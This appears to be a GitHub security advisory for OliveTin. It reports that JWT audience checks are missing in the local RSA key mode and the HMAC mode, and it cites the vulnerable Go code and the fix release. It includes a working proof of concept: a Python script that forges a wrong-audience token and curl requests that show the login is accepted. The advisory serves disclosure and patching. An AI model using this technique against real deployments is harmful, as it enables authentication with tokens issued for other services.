Summary

When JWT authentication is configured using either:

• authJwtPubKeyPath (local RSA public key), or
• authJwtHmacSecret (HMAC secret),

the configured audience value (authJwtAud) is not enforced during token parsing.
As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication.
This allows authentication using tokens intended for a different audience/service.

Details

Affected Code

File: jwt.go
Lines: 51–59, 144–157, 161–168

Current Behavior

Remote JWKS Mode (Correct):

return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))

Audience validation is enforced.

Local Public Key Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

HMAC Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.

PoC

1. Configure OliveTin

   Use a minimal config with JWT local key authentication:

   authJwtPubKeyPath: ./public.pem
   authJwtHeader: Authorization
   authJwtClaimUsername: sub
   authJwtAud: expected-audience
   
   authRequireGuestsToLogin: true

2. Generate a Wrong-Audience Token

   python3 - <<EOF
   import jwt, datetime
   
   with open("private.pem") as f:
       key = f.read()
   
   token = jwt.encode(
       {
           "sub": "low",
           "aud": "wrong-audience",   # intentionally wrong
           "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
       },
       key,
       algorithm="RS256"
   )
   
   print(token)
   EOF

   This prints the $WRONG_AUD_TOKEN.

3. Test Without Token (Baseline)

   curl -i -X POST http://localhost:1337/api/WhoAmI \
     -H 'Content-Type: application/json' \
     -d '{}'

   Expected response:

   HTTP/1.1 401 Unauthorized
   

4. Test With Wrong-Audience Token

   curl -i -X POST http://localhost:1337/api/WhoAmI \
     -H 'Content-Type: application/json' \
     -H "Authorization: Bearer $WRONG_AUD_TOKEN" \
     -d '{}'

   Expected response:

   HTTP/1.1 200 OK
   {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}
   

   Authentication succeeds even though the aud claim is incorrect.

Impact

An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.

This enables:

• Cross-service token reuse
• Authentication using tokens issued for other systems
• Trust boundary violation in multi-service environments

This is particularly severe when:

• OliveTin is deployed behind a centralized SSO provider
• The same signing key is reused across services
• Audience restrictions are relied upon for service isolation

This does not bypass ACL authorization.
It is strictly an authentication validation flaw.

References

• GHSA-g962-2j28-3cg9
• OliveTin/OliveTin@e97d8ec
• https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1